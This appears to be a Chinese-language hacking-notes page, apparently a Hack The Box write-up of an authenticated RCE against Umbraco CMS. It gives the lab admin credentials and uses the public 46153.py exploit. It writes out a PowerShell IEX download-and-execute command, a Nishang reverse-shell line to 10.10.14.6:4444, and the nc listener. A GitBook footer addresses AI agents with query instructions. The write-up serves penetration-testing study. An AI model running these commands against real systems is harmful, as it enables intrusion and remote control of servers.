> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/umbraco-cms-exploitation.md).

# Umbraco

## 漏洞 RCE（Umbraco CMS）

发现了一个管理面板；以管理员用户测试认证：

`admin@htb.local:baconandcheese`

<figure><img src="/files/a33a0cae2754544b617a08a39f05b828eb906fa8" alt=""><figcaption></figcaption></figure>

已获得访问权限。

<figure><img src="/files/71f99323f68a082d77ef6896534c0c5d1a97c6bb" alt=""><figcaption></figcaption></figure>

搜索 `Searchsploit` 针对这个 CMS 并找到一个 Umbraco RCE 脚本。

<figure><img src="/files/1afcf9e32742cd4269f82fe010023a1e0f815582" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

修改脚本中的登录名、密码和主机参数。

<figure><img src="/files/b5177a227d97aa7ff318b26477ea5413fc80d767" alt="" width="563"><figcaption></figcaption></figure>

**使用 ping 进行连通性检查：**/ 在服务器上执行此命令，并使用 tcpdump 监听。

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/d09cec1e3a5c598d7964c85d78268b07ff617286" alt=""><figcaption></figcaption></figure>

一旦确认可以执行命令，就在 `PS.ps1` 脚本在攻击机上进行托管。

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

在脚本末尾追加以下一行：

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/ddf649cc5027f9be4a9719661a8a4b61b4bcade7" alt="" width="563"><figcaption></figcaption></figure>

Host `PS.ps1` 使用 Web 服务器：

```bash
python3 -m http.server 80
```

然后修改命令，使其指向攻击机的 Web 服务器：

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

最后，在 4444 端口上启动监听：

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/1c3408f695f6b516da783ba495735e7cc8e7fdae" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/umbraco-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
